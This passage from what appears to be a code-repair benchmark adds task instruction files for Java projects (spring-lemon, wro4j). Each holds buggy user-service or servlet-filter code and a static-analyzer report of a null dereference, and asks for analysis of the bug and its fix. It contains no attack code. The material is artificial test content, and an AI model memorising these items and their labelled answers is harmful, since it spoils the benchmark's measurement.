+				if (user.hasRole(Role.UNVERIFIED))
+					user.getRoles().remove(Role.UNVERIFIED); // make user verified
+			}
+			
+			user.setRoles(updatedUser.getRoles());
+			user.setCredentialsUpdatedMillis(System.currentTimeMillis());
+		}
+	}
+
+	
+	/**
+	 * Requests for email change.
+	 * 
+	 * @param user
+	 * @param updatedUser
+	 */
+	@UserEditPermission
+	@Validated(AbstractUser.ChangeEmailValidation.class)
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void requestEmailChange(U user, @Valid U updatedUser) {
+		
+		log.debug("Requesting email change: " + user);
+
+		// checks
+		LemonUtils.ensureFound(user);	
+		LemonUtils.validate("updatedUser.password",
+			passwordEncoder.matches(updatedUser.getPassword(),
+									user.getPassword()),
+			"com.naturalprogrammer.spring.wrong.password").go();
+
+		// preserves the new email id
+		user.setNewEmail(updatedUser.getNewEmail());
+		//user.setChangeEmailCode(LemonUtils.uid());
+		userRepository.save(user);
+		
+		// after successful commit, mails a link to the user
+		LemonUtils.afterCommit(() -> mailChangeEmailLink(user));
+		
+		log.debug("Requested email change: " + user);		
+	}
+
+	
+	/**
+	 * Mails the change-email verification link to the user.
+	 */
+	protected void mailChangeEmailLink(U user) {
+		
+		String changeEmailCode = jwtService.createToken(JwtService.CHANGE_EMAIL_AUDIENCE,
+				user.getId().toString(), properties.getJwt().getExpirationMillis(),
+				LemonUtils.mapOf("newEmail", user.getNewEmail()));
+		
+		try {
+			
+			log.debug("Mailing change email link to user: " + user);
+
+			// make the link
+			String changeEmailLink = properties.getApplicationUrl()
+				    + "/users/" + user.getId()
+					+ "/change-email?code=" + changeEmailCode;
+			
+			// mail it
+			mailChangeEmailLink(user, changeEmailLink);
+			
+			log.debug("Change email link mail queued.");
+			
+		} catch (Throwable e) {
+			// In case of exception, just log the error and keep silent			
+			log.error(ExceptionUtils.getStackTrace(e));
+		}
+	}
+
+
+	/**
+	 * Mails the change-email verification link to the user.
+	 * 
+	 * Override this method if you're using a different MailData
+	 */
+	protected void mailChangeEmailLink(U user, String changeEmailLink) {
+		
+		mailSender.send(LemonMailData.of(user.getNewEmail(),
+			LemonUtils.getMessage(
+				"com.naturalprogrammer.spring.changeEmailSubject"),
+			LemonUtils.getMessage(
+				"com.naturalprogrammer.spring.changeEmailEmail",
+				 changeEmailLink)));
+	}
+
+	
+	/**
+	 * Change the email.
+	 * 
+	 * @param changeEmailCode
+	 */
+	@PreAuthorize("isAuthenticated()")
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void changeEmail(ID userId, @Valid @NotBlank String changeEmailCode) {
+		
+		log.debug("Changing email of current user ...");
+
+		// fetch the current-user
+		SpringUser<ID> currentUser = LemonUtils.getSpringUser();
+		
+		LemonUtils.validate(userId.equals(currentUser.getId()),
+			"com.naturalprogrammer.spring.wrong.login").go();
+		
+		U user = userRepository.findById(userId).orElseThrow(LemonUtils.notFoundSupplier());
+		
+		LemonUtils.validate(StringUtils.isNotBlank(user.getNewEmail()),
+				"com.naturalprogrammer.spring.blank.newEmail").go();
+		
+		JWTClaimsSet claims = jwtService.parseToken(changeEmailCode,
+				JwtService.CHANGE_EMAIL_AUDIENCE,
+				user.getCredentialsUpdatedMillis());
+		
+		LemonUtils.ensureAuthority(
+				claims.getSubject().equals(user.getId().toString()) &&
+				claims.getClaim("newEmail").equals(user.getNewEmail()),
+				"com.naturalprogrammer.spring.wrong.changeEmailCode");
+		
+		// Ensure that the email would be unique 
+		LemonUtils.validate(
+				!userRepository.findByEmail(user.getNewEmail()).isPresent(),
+				"com.naturalprogrammer.spring.duplicate.email").go();	
+		
+		// update the fields
+		user.setEmail(user.getNewEmail());
+		user.setNewEmail(null);
+		//user.setChangeEmailCode(null);
+		user.setCredentialsUpdatedMillis(System.currentTimeMillis());
+		
+		// make the user verified if he is not
+		if (user.hasRole(Role.UNVERIFIED))
+			user.getRoles().remove(Role.UNVERIFIED);
+		
+		userRepository.save(user);
+		
+		// after successful commit,
+		LemonUtils.afterCommit(() -> {
+			
+			// Login the user
+			LemonUtils.login(user);
+		});
+		// logout after successful commit
+		//LemonUtils.afterCommit(LemonUtils::logOut);
+		
+		log.debug("Changed email of user: " + user);
+	}
+
+
+	public String getOAuth2Email(String registrationId, Map<String, Object> attributes) {
+
+		return (String) attributes.get(StandardClaimNames.EMAIL);
+	}
+	
+	public void fillAdditionalFields(String clientId, U user, Map<String, Object> attributes) {
+		
+	}
+
+	public boolean getOAuth2AccountVerified(String registrationId, Map<String, Object> attributes) {
+
+		Object verified = attributes.get(StandardClaimNames.EMAIL_VERIFIED);
+		if (verified == null)
+			verified = attributes.get("verified");
+		
+		return (boolean) verified;
+	}
+
+//	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+//	public void loginWithNonce(@Valid NonceForm<ID> nonce, HttpServletResponse response) {
+//		
+//		U user = userRepository.findById(nonce.getUserId())
+//			.orElseThrow(LemonUtils.notFoundSupplier());
+//
+//		LemonUtils.ensureCredentials(nonce.getNonce().equals(user.getNonce()),
+//			"com.naturalprogrammer.spring.invalidNonce");
+//
+//		user.setNonce(null);
+//		userRepository.save(user);
+//		LemonUtils.login(user);
+//	}
+
+//	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+//	public String addNonce(U user) {
+//		
+//		String nonce = LemonUtils.uid();
+//		user.setNonce(nonce);
+//		userRepository.save(user);
+//		
+//		return nonce;
+//	}
+//
+	/**
+	 * Fetches a new token - for session scrolling etc.
+	 * @return 
+	 */
+	@PreAuthorize("isAuthenticated()")
+	public String fetchNewToken(Optional<Long> expirationMillis,
+			Optional<String> optionalUsername) {
+		
+		SpringUser<ID> springUser = LemonUtils.getSpringUser();
+		String username = optionalUsername.orElse(springUser.getUsername());
+		
+		LemonUtils.ensureAuthority(springUser.getUsername().equals(username) ||
+				springUser.isGoodAdmin(), "com.naturalprogrammer.spring.notGoodAdminOrSameUser");
+		
+		return LemonSecurityConfig.TOKEN_PREFIX +
+				jwtService.createToken(JwtService.AUTH_AUDIENCE, username,
+				expirationMillis.orElse(properties.getJwt().getExpirationMillis()));
+	}
+
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void save(U user) {
+		
+		userRepository.save(user);
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `springUser` last assigned on line 550 could be null and is dereferenced at line 551.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String LemonService.changePassword(AbstractUser,ChangePasswordForm)
+
+### Procedure Id:
+com.naturalprogrammer.spring.lemon.LemonService.changePassword(com.naturalprogrammer.spring.lemon.do.86e1d5bc5daabfcadc229e87309f7bd7
+
+### File:
+src/main/java/com/naturalprogrammer/spring/lemon/LemonService.java
+
+### Key:
+LemonService.java|changePassword|NULL_DEREFERENCE
+
+### Node Key:
+a8e5ea4c3fb7e7356fb4a16694fe8325
+
+### Hash:
+23c4c24a72464a4e3523048c3e5e63c3
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7323/instruction.md b/inferredbugs-7323/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8c73a62fd8773edc48acd37037b2fd507ac343ce
--- /dev/null
+++ b/inferredbugs-7323/instruction.md
@@ -0,0 +1,525 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spring-lemon
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.naturalprogrammer.spring.lemon;
+
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+import java.util.UUID;
+
+import javax.mail.MessagingException;
+import javax.validation.Valid;
+
+import org.apache.commons.lang3.exception.ExceptionUtils;
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
+import org.hibernate.validator.constraints.Email;
+import org.hibernate.validator.constraints.NotBlank;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.context.event.ContextRefreshedEvent;
+import org.springframework.context.event.EventListener;
+import org.springframework.security.access.prepost.PreAuthorize;
+import org.springframework.security.core.userdetails.UserDetailsService;
+import org.springframework.security.core.userdetails.UsernameNotFoundException;
+import org.springframework.security.crypto.password.PasswordEncoder;
+import org.springframework.transaction.annotation.Propagation;
+import org.springframework.transaction.annotation.Transactional;
+import org.springframework.validation.annotation.Validated;
+
+import com.naturalprogrammer.spring.lemon.domain.AbstractUser;
+import com.naturalprogrammer.spring.lemon.domain.AbstractUser.Role;
+import com.naturalprogrammer.spring.lemon.domain.AbstractUser.SignUpValidation;
+import com.naturalprogrammer.spring.lemon.domain.AbstractUserRepository;
+import com.naturalprogrammer.spring.lemon.domain.ChangePasswordForm;
+import com.naturalprogrammer.spring.lemon.mail.MailSender;
+import com.naturalprogrammer.spring.lemon.util.LemonUtil;
+import com.naturalprogrammer.spring.lemon.validation.Password;
+
+@Validated
+@Transactional(propagation=Propagation.SUPPORTS, readOnly=true)
+public abstract class LemonService
+	<U extends AbstractUser<U,ID>, ID extends Serializable> {
+
+    private static final Log log = LogFactory.getLog(LemonService.class);
+    
+	@Autowired
+	private LemonProperties properties;
+
+	@Autowired
+	private PasswordEncoder passwordEncoder;
+
+	@Autowired
+    private MailSender mailSender;
+
+    @Autowired
+	private AbstractUserRepository<U, ID> userRepository;
+    
+    @Autowired
+	private UserDetailsService userDetailsService;   
+    
+    /**
+     * This method needs to be public; otherwise Spring screams
+     * 
+     * @param event
+     */
+    @EventListener
+    public void afterContextRefreshed(ContextRefreshedEvent event) {
+    	
+    	log.info("Starting up Spring Lemon ...");
+    	onStartup();
+    	log.info("Spring Lemon started");
+    	
+    }
+    
+	/**
+	 * Creates a new ADMIN user, if not found.
+	 * Override if needed.
+	 */
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+    public void onStartup() {
+    	
+		try {
+			userDetailsService
+				.loadUserByUsername(properties.getAdmin().getLogin());
+		} catch (UsernameNotFoundException e) {
+	    	U user = createAdminUser();
+	    	userRepository.save(user);			
+		}
+	}
+
+	
+	/**
+	 * Override this if you have more fields to set,
+	 * or if the email field if not your loginId
+	 */
+    protected U createAdminUser() {
+		
+    	String adminEmail = properties.getAdmin().getLogin();
+    	
+    	log.info("Creating the first admin user: " + adminEmail);
+
+    	U user = newUser();
+		user.setEmail(adminEmail);
+		user.setPassword(passwordEncoder.encode(
+			properties.getAdmin().getPassword()));
+		user.getRoles().add(Role.ADMIN);
+		
+		return user;
+
+	}
+
+	abstract protected U newUser();
+
+	@Autowired
+	private LemonProperties lemonProperties;
+	
+	/**
+	 * Returns the context data to be sent to the client,
+	 * i.e. <em>reCaptchaSiteKey</em> and all the properties
+	 * prefixed with <em>lemon.shared</em>.
+	 * 
+	 * To send custom properties, put those in your application
+	 * properties in the format <em>lemon.shared.fooBar</em>.
+	 * 
+	 * You can also override this method.
+	 */
+	public Map<String, Object> getContext() {
+		
+		Map<String, Object> context = new HashMap<String, Object>(2);
+		context.put("reCaptchaSiteKey", properties.getRecaptcha().getSitekey());
+		context.put("shared", properties.getShared());
+		
+		log.debug("Returning context: " + context);
+
+		return context;		
+	}
+	
+	@PreAuthorize("isAnonymous()")
+	@Validated(SignUpValidation.class)
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void signup(@Valid U user) {
+		
+		log.debug("Signing up user: " + user);
+
+		initUser(user);
+		userRepository.save(user);
+		
+		LemonUtil.afterCommit(() -> {
+		
+			LemonUtil.logInUser(user);
+			sendVerificationMail(user);
+			log.debug("Signed up user: " + user);
+		});
+	}
+	
+	protected U initUser(U user) {
+		
+		log.debug("Initializing user: " + user);
+
+		user.setPassword(passwordEncoder.encode(user.getPassword()));
+		makeUnverified(user);
+		
+		return user;
+	}
+	
+	protected void makeUnverified(U user) {
+		user.getRoles().add(Role.UNVERIFIED);
+		user.setVerificationCode(UUID.randomUUID().toString());
+	}
+	
+	protected void makeVerified(U user) {
+		user.getRoles().remove(Role.UNVERIFIED);
+		user.setVerificationCode(null);
+	}
+	
+	protected void sendVerificationMail(final U user) {
+		try {
+			
+			log.debug("Sending verification mail to: " + user);
+
+			String verifyLink = properties.getApplicationUrl()
+				+ "/users/" + user.getVerificationCode() + "/verify";
+			
+			mailSender.send(user.getEmail(),
+				LemonUtil.getMessage("com.naturalprogrammer.spring.verifySubject"),
+				LemonUtil.getMessage(
+					"com.naturalprogrammer.spring.verifyEmail",	verifyLink));
+			
+			log.debug("Verification mail to " + user.getEmail() + " queued.");
+			
+		} catch (MessagingException e) {
+			log.error(ExceptionUtils.getStackTrace(e));
+		}
+	}	
+	
+	/**
+	 * Resends verification mail to user
+	 * See here for details
+	 * @param user
+	 */
+	@PreAuthorize("hasPermission(#user, 'edit')")
+	public void resendVerificationMail(U user) {
+
+		LemonUtil.check("id", user != null,
+				"com.naturalprogrammer.spring.userNotFound").go();
+		
+		LemonUtil.check(user.getRoles().contains(Role.UNVERIFIED),
+				"com.naturalprogrammer.spring.alreadyVerified").go();	
+
+		sendVerificationMail(user);
+	}
+
+	public U fetchUser(@Valid @Email @NotBlank String email) {
+		
+		log.debug("Fetching user by email: " + email);
+
+		U user = userRepository.findByEmail(email);
+		LemonUtil.check("email", user != null,
+			"com.naturalprogrammer.spring.userNotFound").go();
+		
+		user.decorate().hideConfidentialFields();
+		
+		log.debug("Returning user: " + user);		
+
+		return user;
+	}
+
+	
+	public U fetchUser(U user) {
+		
+		log.debug("Fetching user: " + user);
+
+		LemonUtil.check("id", user != null,
+			"com.naturalprogrammer.spring.userNotFound").go();
+		
+		user.decorate().hideConfidentialFields();
+		
+		return user;
+	}
+	
+	@PreAuthorize("isAuthenticated()")
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void verifyUser(@Valid @NotBlank String verificationCode) {
+		
+		log.debug("Verifying user ...");
+
+		U currentUser = LemonUtil.getUser();
+		
+		U user = userRepository.findOne(currentUser.getId());
+		
+		LemonUtil.check(user.getRoles().contains(Role.UNVERIFIED),
+				"com.naturalprogrammer.spring.alreadyVerified").go();	
+		
+		LemonUtil.check(verificationCode.equals(user.getVerificationCode()),
+				"com.naturalprogrammer.spring.wrong.verificationCode").go();
+		
+		makeVerified(user);
+		userRepository.save(user);
+		
+		LemonUtil.afterCommit(() -> {
+			
+			currentUser.getRoles().remove(Role.UNVERIFIED);
+			currentUser.decorate(currentUser);
+			log.debug("Removed UNVERIFIED role from current user.");		
+		});
+		
+		log.debug("Verified user: " + user);		
+	}
+
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void forgotPassword(@Valid @Email @NotBlank String email) {
+		
+		log.debug("Processing forgot password for email: " + email);
+		final U user = userRepository.findByEmail(email);
+
+		LemonUtil.check(user != null, "com.naturalprogrammer.spring.userNotFound").go();
+		
+		user.setForgotPasswordCode(UUID.randomUUID().toString());
+		userRepository.save(user);
+
+		LemonUtil.afterCommit(() -> {
+		    mailForgotPasswordLink(user);
+		});
+		
+	}
+	
+	private void mailForgotPasswordLink(U user) {
+		
+		try {
+			
+			log.debug("Mailing forgot password link to user: " + user);
+
+			String forgotPasswordLink = 
+					properties.getApplicationUrl() + "/reset-password/" +
+					user.getForgotPasswordCode();
+			mailSender.send(user.getEmail(),
+					LemonUtil.getMessage("com.naturalprogrammer.spring.forgotPasswordSubject"),
+					LemonUtil.getMessage("com.naturalprogrammer.spring.forgotPasswordEmail", forgotPasswordLink));
+			
+			log.debug("Forgot password link mail queued.");
+			
+		} catch (MessagingException e) {
+			log.error(ExceptionUtils.getStackTrace(e));
+		}
+
+	}
+
+	
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void resetPassword(String forgotPasswordCode, @Valid @Password String newPassword) {
+		
+		log.debug("Resetting password ...");
+
+		U user = userRepository.findByForgotPasswordCode(forgotPasswordCode);
+		LemonUtil.check(user != null, "com.naturalprogrammer.spring.invalidLink").go();
+		
+		user.setPassword(passwordEncoder.encode(newPassword));
+		user.setForgotPasswordCode(null);
+		
+		userRepository.save(user);
+		
+		log.debug("Password reset.");	
+		
+	}
+
+	@PreAuthorize("hasPermission(#user, 'edit')")
+	@Validated(AbstractUser.UpdateValidation.class)
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void updateUser(U user, @Valid U updatedUser) {
+		
+		log.debug("Updating user: " + user);
+
+		LemonUtil.check("id", user != null, "com.naturalprogrammer.spring.userNotFound").go();
+		LemonUtil.validateVersion(user, updatedUser);
+
+		U currentUser = LemonUtil.getUser();
+
+		updateUserFields(user, updatedUser, currentUser);
+		
+		userRepository.save(user);
+		
+		log.debug("Updated user: " + user);		
+	}
+	
+	@PreAuthorize("hasPermission(#user, 'edit')")
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public void changePassword(U user, @Valid ChangePasswordForm changePasswordForm) {
+		
+		log.debug("Changing password for user: " + user);
+
+		LemonUtil.check("id", user != null, "com.naturalprogrammer.spring.userNotFound").go();
+		LemonUtil.check("changePasswordForm.oldPassword",
+			passwordEncoder.matches(changePasswordForm.getOldPassword(), user.getPassword()),
+			"com.naturalprogrammer.spring.wrong.password").go();
+		
+		user.setPassword(passwordEncoder.encode(changePasswordForm.getPassword()));
+		userRepository.save(user);
+		
+		LemonUtil.afterCommit(() -> {
+
+			U currentUser = LemonUtil.getUser();
+			
+			if (currentUser.equals(user)) {
+				
+				log.debug("Setting password for logged in user.");
+				currentUser.setPassword(user.getPassword());				
+			}
+		});
+		
+		log.debug("Changed password for user: " + user);
+	}
+
+
+	/**
+	 * Override this if you have more fields
+	 * 
+	 * @param user
+	 * @param updatedUser
+	 * @param currentUser
+	 */
+	protected void updateUserFields(U user, U updatedUser, U currentUser) {
+
+		log.debug("Updating user fields for user: " + user);
+
+		if (user.isRolesEditable()) {
+			
+			log.debug("Updating roles for user: " + user);
+
+			Set<String> roles = user.getRoles();
+			
+			if (updatedUser.isUnverified()) {
+				
+				if (!user.hasRole(Role.UNVERIFIED)) {
+					makeUnverified(user); // make user unverified
+					LemonUtil.afterCommit(() -> {
+						sendVerificationMail(user); // send a verification mail to the user
+					});
+				}
+			} else {
+				
+				if (user.hasRole(Role.UNVERIFIED))
+					makeVerified(user); // make user verified
+			}
+			
+			if (updatedUser.isAdmin())
+				roles.add(Role.ADMIN);
+			else
+				roles.remove(Role.ADMIN);
+			
+			if (updatedUser.isBlocked())
+				roles.add(Role.BLOCKED);
+			else
+				roles.remove(Role.BLOCKED);
+		}
+		
+// This is not needed, because the logged in user can't update his own role
+//		LemonUtil.afterCommit(() -> {
+//			if (currentUser.equals(user)) {
+//				
+//				log.debug("Setting roles for logged in user.");
+//				currentUser.setRoles(user.getRoles());
+//			}
+//		});
+
+	}
+
+	public U userForClient() {
+		return userForClient(LemonUtil.getUser());
+	}
+
+	
+	/**
+	 * Override this if you have more fields
+	 * 
+	 * @param currentUser
+	 */
+	protected U userForClient(U currentUser) {
+		
+		if (currentUser == null)
+			return null;
+		
+		U user = newUser();
+		user.setIdForClient(currentUser.getId());
+		user.setEmail(currentUser.getEmail());
+		user.setRoles(currentUser.getRoles());
+		user.decorate(currentUser);
+		
+		log.debug("Returning user for client: " + user);
+		
+		return user;
+	}
+	
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `user` last assigned on line 215 could be null and is dereferenced at line 219.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+AbstractUser LemonService.fetchUser(String)
+
+### Procedure Id:
+com.naturalprogrammer.spring.lemon.LemonService.fetchUser(java.lang.String):com.naturalprogrammer.sp.52b89ca1fd64feae7f4b394ab1eea744
+
+### File:
+src/main/java/com/naturalprogrammer/spring/lemon/LemonService.java
+
+### Key:
+LemonService.java|fetchUser|NULL_DEREFERENCE
+
+### Node Key:
+913f39c549db9d899ffc72b5138ab2e6
+
+### Hash:
+0dd2239fce66aa7409013073ff4c3f98
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7325/instruction.md b/inferredbugs-7325/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..095c5c1e627e067307eea0c2cf6765c8ca043b3a
--- /dev/null
+++ b/inferredbugs-7325/instruction.md
@@ -0,0 +1,240 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spring-lemon
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.naturalprogrammer.spring.boot;
+
+import javax.mail.MessagingException;
+import javax.validation.ConstraintViolationException;
+import javax.validation.Valid;
+import javax.validation.constraints.NotNull;
+
+import org.apache.commons.lang3.RandomStringUtils;
+import org.apache.commons.lang3.exception.ExceptionUtils;
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
+import org.hibernate.validator.constraints.Email;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.event.ContextRefreshedEvent;
+import org.springframework.context.event.EventListener;
+import org.springframework.security.access.prepost.PreAuthorize;
+import org.springframework.security.crypto.password.PasswordEncoder;
+import org.springframework.transaction.annotation.Propagation;
+import org.springframework.transaction.annotation.Transactional;
+import org.springframework.transaction.support.TransactionSynchronizationAdapter;
+import org.springframework.transaction.support.TransactionSynchronizationManager;
+import org.springframework.validation.annotation.Validated;
+
+import com.naturalprogrammer.spring.boot.SaUser.Role;
+import com.naturalprogrammer.spring.boot.mail.MailSender;
+import com.naturalprogrammer.spring.boot.security.UserDto;
+
+@Validated
+@Transactional(propagation=Propagation.SUPPORTS, readOnly=true)
+public abstract class SaService<U extends SaUser, S extends SignupForm> {
+
+    private final Log log = LogFactory.getLog(getClass());
+    
+	@Value(SaUtil.APPLICATION_URL)
+    private String applicationUrl;
+	
+	@Value(SaUtil.RECAPTCHA_SITE_KEY)
+    private String reCaptchaSiteKey;
+	
+	@Value("${admin.email}")
+	private String adminEmail;
+
+	@Value("${admin.password}")
+	private String adminPassword;
+
+	@Autowired
+    private PasswordEncoder passwordEncoder;
+
+	@Autowired
+    private MailSender mailSender;
+
+    @Autowired
+	private SaUserRepository<U> userRepository;
+    
+    
+    /**
+     * This method needs to be public; otherwise Spring screams
+     * 
+     * @param event
+     */
+    @EventListener
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+    public void afterContextRefreshed(ContextRefreshedEvent event) {
+    	
+    	onStartup();
+    	
+    }
+    
+	/**
+	 * Override this if needed
+	 */
+    protected void onStartup() {
+		U user = userRepository.findByEmail(adminEmail);
+		if (user == null) {
+	    	user = createAdminUser();
+	    	userRepository.save(user);
+		}
+	}
+
+	
+	/**
+	 * Override this if you have more fields to set
+	 */
+    protected U createAdminUser() {
+		
+		final U user = (U) SaUtil.getBean(SaUser.class);
+		
+		user.setEmail(adminEmail);
+		user.setName("Administrator");
+		user.setPassword(passwordEncoder.encode(adminPassword));
+		user.getRoles().add(Role.ADMIN);
+		
+		return user;
+
+	}
+
+
+	public ContextDto getContext() {
+		ContextDto contextDto = new ContextDto();
+		contextDto.setReCaptchaSiteKey(reCaptchaSiteKey);
+		contextDto.setUserDto(SaUtil.getUserDto());
+		return contextDto;		
+	}
+	
+	@PreAuthorize("isAnonymous()")
+	@Transactional(propagation=Propagation.REQUIRED, readOnly=false)
+	public UserDto signup(@Valid S signupForm) {
+		
+		U user = createUser(signupForm);
+		userRepository.save(user);
+		sendVerificationMail(user);
+		SaUtil.logInUser(user);
+		return user.getUserDto();
+	}
+	
+	protected U createUser(S signupForm) {
+		
+		final U user = (U) SaUtil.getBean(SaUser.class);
+		
+		user.setEmail(signupForm.getEmail());
+		user.setName(signupForm.getName());
+		user.setPassword(passwordEncoder.encode(signupForm.getPassword()));
+		user.getRoles().add(Role.UNVERIFIED);
+		user.setVerificationCode(RandomStringUtils.randomAlphanumeric(16));
+		
+		return user;
+		
+	}
+	
+	protected void sendVerificationMail(final U user) {
+		TransactionSynchronizationManager.registerSynchronization(
+			    new TransactionSynchronizationAdapter() {
+			        @Override
+			        public void afterCommit() {
+			    		try {
+			    			String verifyLink = applicationUrl + "/users/" + user.getVerificationCode() + "/verify";
+			    			mailSender.send(user.getEmail(), SaUtil.getMessage("verifySubject"), SaUtil.getMessage("verifyEmail", verifyLink));
+			    			log.info("Verification mail to " + user.getEmail() + " queued.");
+						} catch (MessagingException e) {
+							log.error(ExceptionUtils.getStackTrace(e));
+						}
+			        }
+			    });
+			
+	}
+
+	public U fetchUser(@Valid @Email @NotNull String email) {
+		
+		SaUser loggedIn = SaUtil.getSessionUser();
+
+		U user = userRepository.findByEmail(email);
+		
+		if (user == null) {
+			////////////////// throw SaFormException
+		}
+
+		user.setPassword(null);
+		
+		if (loggedIn == null ||	loggedIn.getId() != user.getId() && !loggedIn.isAdmin())
+				user.setEmail("Confidential");
+		
+		return user;
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `user` last assigned on line 152 could be null and is dereferenced at line 158.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+SaUser SaService.fetchUser(String)
+
+### Procedure Id:
+com.naturalprogrammer.spring.boot.SaService.fetchUser(java.lang.String):com.naturalprogrammer.spring.e283d17f5fd1ccff09fa22020cf685e0
+
+### File:
+src/main/java/com/naturalprogrammer/spring/boot/SaService.java
+
+### Key:
+SaService.java|fetchUser|NULL_DEREFERENCE
+
+### Node Key:
+f097a339c449f77f32c35350634f5e98
+
+### Hash:
+8e5d703808e5d5fc0388ce90ebb93bfb
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7341/instruction.md b/inferredbugs-7341/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2f1ff1cf60c4ff93f82847e6762420c663c7d1f8
--- /dev/null
+++ b/inferredbugs-7341/instruction.md
@@ -0,0 +1,160 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** wro4j
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package ro.isdc.wro.http.support;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.List;
+
+import javax.servlet.Filter;
+import javax.servlet.FilterChain;
+import javax.servlet.FilterConfig;
+import javax.servlet.ServletException;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import ro.isdc.wro.WroRuntimeException;
+import ro.isdc.wro.config.Context;
+import ro.isdc.wro.http.WroFilter;
+import ro.isdc.wro.model.resource.processor.ResourcePreProcessor;
+
+/**
+ * Allows configuration of a list of processors to be applied on the    
+ * 
+ * @author Alex Objelean
+ * @since 1.4.5
+ * @created 17 Mar 2012
+ */
+public abstract class AbstractProcessorFilter
+    implements Filter {
+  private static final Logger LOG = LoggerFactory.getLogger(WroFilter.class);
+  private FilterConfig filterConfig;
+  /**
+   * {@inheritDoc}
+   */
+  public final void init(final FilterConfig config)
+    throws ServletException {
+    this.filterConfig = config;
+  }
+  
+  /**
+   * {@inheritDoc}
+   */
+  public void doFilter(final ServletRequest req, final ServletResponse res, final FilterChain chain)
+      throws IOException, ServletException {
+    final HttpServletRequest request = (HttpServletRequest) req;
+    final HttpServletResponse response = (HttpServletResponse) res;
+    try {
+      // add request, response & servletContext to thread local
+      Context.set(Context.webContext(request, response, filterConfig));
+      chain.doFilter(req, res);
+    } catch (final RuntimeException e) {
+      onRuntimeException(e, response, chain);
+    } finally {
+      Context.unset();
+    }
+  }
+  
+  /**
